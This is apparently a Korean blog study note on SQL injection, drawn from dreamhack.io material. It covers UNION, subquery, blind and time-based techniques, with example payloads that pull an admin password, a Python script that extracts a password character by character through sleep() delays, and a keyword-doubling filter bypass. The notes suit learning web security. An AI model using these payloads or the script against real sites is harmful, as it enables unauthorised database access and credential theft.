# 공격기법
1. Union: 다수의 SELECT 구문의 결과를 결합시키는 행위를 수행
ex1)
SELECT * FROM UserTable
UNION SELECT "DreamHack", "DreamHack PW";
ex2)
Select uid from user_table where uid='' union select upw from user_table where uid = "admin" -- ' and upw=''
조건
1) 이전 SELECT 구문 과 UNION SELECT 구문의 결과 컬럼의 수가 같아야 합니다.
2) 특정 DBMS에서 사용 시 이전 컬럼과 UNION SELECT 구문의 컬럼의 타입이 같아야 합니다.
2. Subquery: 하나의 쿼리 내에 또 다른 쿼리를 사용하는 것을 의미
* 서브 쿼리에서는 SELECT 구문 만을 사용할 수 있습니다.
1) Columns
SELECT username, (SELECT "ABCD") FROM users;
2) From
SELECT * FROM (SELECT *, 1234 FROM users) as u;
3) Where
SELECT * FROM users
WHERE username IN (SELECT "admin" UNION SELECT "guest");
3. Error Based: 사용자가 임의적으로 에러를 발생시켜 정보를 획득
4. Blind: 참/거짓을 구분하는 구문을 통해 DB내용을 추리
ex)
/?username=' union select if(substr(password,1,1)='P', 'admin', 'not admin') from users where username='admin' -- -
: 결과물이 True라면 admin계정의 password 첫글자가 P라는 것을 확인가능
* substr은 1번째 인자의 문자열을, 2번째 인자의 index부터 3번째 인자의 길이만큼 반환하는 함수
ex)
select * from users where uid="admin" and upw=""
or uid = "admin" and substr(upw,6,1) = "1"
: query문에 대한 응답이 있다면 위와 같은 유추를 통해 비번 완성 가능
5. Time Based : 시간 지연을 이용해 참/거짓 여부를 판단
물리적인 대입을 완화할 수 있는 python코드 ( 출처: dreamhack.io )
import requests
URL = "http://사이트 주소"
DATA = ""
for index in range(1, 100):
for chars in range(32, 127):
payload = "/?username='or if((select ord(substr(password,%s,1)) from users where username='admin')=%s, sleep(2), 0)-- -" %(index, chars)
addr = URL + payload
ret = requests.get(addr)
loadTime = ret.elapsed.total_seconds()
if loadTime > 1.9:
DATA += chr(chars)
print(DATA)
break
print(DATA)
# SQL DML 구문 이해
SELECT : 데이터를 조회하는 구문
ex) SELECT * from usertable
INSERT: 데이터를 추가하는 구문
ex) INSERT into usertable values('id1','pwd1')
* columns 순서대로 삽입
UPDATE: 데이터를 수정하는 구문
ex) UPDATE usertable set pwd = 'pwd2' where id = 'id2'
DELETE: 데이터를 삭제하는 구문
# Exploit Technique
1. 와일드카드 사용
조건: 비밀번호 입력값에 대한 true와 같은 반환결과가 있어야함.
ex) select uid from users where uid="admin" and upw like "pw1%" #
* % 또는 _ 를 이용하여 비밀번호 유추가능
uid=" ununionion selselectect upw frfromom users --
'Web Hacking > Study Notes' 카테고리의 다른 글
[ Web ] Server-side Basic (0) | 2020.08.01 |
---|---|
[ Web ] Client-Side basic (0) | 2020.07.30 |
[ Web ] Introduction of Webhacking (0) | 2020.07.30 |
[ CSS ] NOTEPAD (0) | 2019.09.17 |